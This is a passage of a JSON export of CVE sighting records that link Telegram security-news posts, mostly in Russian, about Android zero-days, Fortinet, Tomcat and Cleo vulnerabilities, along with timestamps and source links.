\u043f\u0435\u0440\u0435\u0434\u0430\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\u043c \u0435\u0449\u0451 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0442\u043e\u0447\u043d\u0438\u043b, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b OEM-\u043f\u0430\u0440\u0442\u043d\u0451\u0440\u0430\u043c 18 \u044f\u043d\u0432\u0430\u0440\u044f \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430\u044f \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f ( CVE-2024-53150 ) \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044f\u0434\u0440\u0430 Android. \u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0447\u0442\u0435\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u044d\u0442\u043e\u0433\u043e, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0435\u0449\u0451 60 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0438\u043c\u0435\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u0438.\n\nGoogle \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0434\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: 1 \u0430\u043f\u0440\u0435\u043b\u044f (2025-04-01) \u0438 5 \u0430\u043f\u0440\u0435\u043b\u044f (2025-04-05 ). \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0421\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u044b Pixel \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0440\u0430\u0437\u0443, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u0447\u0430\u0441\u0442\u043e \u0437\u0430\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a, \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 Google \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f ( CVE-2024-43047 ), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Project Zero \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0431\u0441\u043a\u0438\u043c\u0438 \u0432\u043b\u0430\u0441\u0442\u044f\u043c\u0438. \u041e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 NoviSpy \u043f\u0440\u043e\u0442\u0438\u0432 \u0430\u043a\u0442\u0438\u0432\u0438\u0441\u0442\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u043e\u0432.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-04-08T04:14:15.000000Z"}, {"uuid": "170d0b3a-2384-416a-b456-e4cffc19a181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50565", "type": "seen", "source": "https://t.me/itsec_news/5763", "content": "\u200b\u26a1\ufe0fSet_password, \u0438 \u0432\u0443\u0430\u043b\u044f: FortiSwitch \u0441\u0430\u043c \u043e\u0442\u0434\u0430\u0451\u0442 \u043a\u043b\u044e\u0447\u0438\n\n\ud83d\udcac Fortinet \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 FortiSwitch, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 FortiSwitch \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-48887 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8).\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 FortiSwitch. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 endpoint set_password \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0410\u0442\u0430\u043a\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0451 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u2014 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u0433\u0434\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043e\u0442\u043a\u0440\u044b\u0442.\n\n\u041f\u043e\u0434 \u0443\u0434\u0430\u0440 \u043f\u043e\u043f\u0430\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 FortiSwitch \u043e\u0442 6.4.0 \u0434\u043e 7.6.0. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 6.4.15, 7.0.11, 7.2.9, 7.4.5 \u0438 7.6.1. \u0422\u0435\u043c, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, Fortinet \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c HTTP \u0438 HTTPS-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0441 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u0422\u0430\u043a\u0436\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c OS command injection \u0432 FortiIsolator (CVE-2024-54024) \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 MitM-\u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 FortiOS, FortiProxy, FortiManager, FortiAnalyzer, FortiVoice \u0438 FortiWeb (CVE-2024-26013 \u0438 CVE-2024-50565). \u0412\u0441\u0435 \u043e\u043d\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\nFortinet \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f. \u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 DeepData \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 Zero-Day \u0432 Windows-\u043a\u043b\u0438\u0435\u043d\u0442\u0435 FortiClient VPN. \u0415\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u2014 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0441 \u0438\u044e\u043d\u044f 2024 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-47575, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u043c\u044f FortiJump , \u2014 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0431\u043e\u043b\u0435\u0435 50 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 FortiManager.\n\n\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u2014 CVE-2024-55591 \u0438 CVE-2025-24472 \u2014 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439. \u0412\u0441\u0435 \u044d\u0442\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Fortinet \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0444\u043e\u043a\u0443\u0441\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nFortinet \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u043e\u0441\u0442\u0430 \u0447\u0438\u0441\u043b\u0430 \u0430\u0442\u0430\u043a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-04-11T05:28:39.000000Z"}, {"uuid": "e3bcdb6d-113d-44e6-a660-b01573f3246b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/linkersec/303", "content": "Kernel-Hack-Drill: Environment For Developing Linux Kernel Exploits\n\nAlexander Popov (me) published the slides from his talk at Zer0Con 2025. In this talk, he presented the kernel-hack-drill open-source project and showed how it helped him to exploit CVE-2024-50264 in the Linux kernel.", "creation_timestamp": "2025-04-17T14:44:06.000000Z"}, {"uuid": "e3119dd8-b405-45f3-8bb0-c6020a07c456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "Telegram/ZmNdkUlwMi8wIyWb9PMqpqbhuxrMGAAlpZqMM06bDWpior15", "content": "", "creation_timestamp": "2025-07-13T02:12:00.000000Z"}, {"uuid": "c1591f13-0bc2-4d5d-8395-6f47c8f10634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "Telegram/51t8UUBcVa-x2wjoRIM2mT2i7yna57J_B3bG-USYfuPX_VI", "content": "", "creation_timestamp": "2025-07-13T02:12:01.000000Z"}, {"uuid": "b242f222-5191-49ab-b23c-48bf17869e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/CyberBulletin/1776", "content": "\u26a1\ufe0fRCE and DoS Vulnerabilities Addressed in Apache Tomcat: CVE-2024-50379 and CVE-2024-54677.\n\n#CyberBulletin", "creation_timestamp": "2024-12-18T12:14:46.000000Z"}, {"uuid": "5c1eddaa-e884-4ede-a8b9-3b18dc44a134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://t.me/CyberBulletin/1741", "content": "\u26a1\ufe0fModular Java Backdoor Emerges in Cleo Exploitation Campaign (CVE-2024-50623) \n\n#CyberBulletin", "creation_timestamp": "2024-12-13T12:45:07.000000Z"}, {"uuid": "9065f9ab-bf4c-45f7-ad49-d4f169ff3539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/kasperskyb2b/1574", "content": "\u2b50\ufe0f \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411\n\n\ud83d\ude11 \u0423\u0433\u0440\u043e\u0437\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0410\u0421\u0423 \u0432 3 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2024 \u0433\u043e\u0434\u0430: \u043e\u0431\u0437\u043e\u0440 \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430. \u0422\u043e\u043f \u0441\u0438\u0441\u0442\u0435\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0432\u043e\u0437\u0433\u043b\u0430\u0432\u0438\u043b\u0438 \u0431\u0438\u043e\u043c\u0435\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \n\n\ud83d\uddff \u0420\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Masque, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 2024 \u0433\u043e\u0434\u0443 \u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u0432\u044b\u0433\u043e\u0434\u044b.  \u0417\u0430\u0445\u043e\u0434\u044f\u0442 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u0442\u0451\u043a\u0448\u0438\u0435 \u0431\u0438\u043b\u0434\u0435\u0440\u044b Lockbit \u0438 Babuk.\n\n\ud83d\ude80 \u0412 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u0430\u0445 Palo Alto, \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 CVE-2024-9474, \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0438 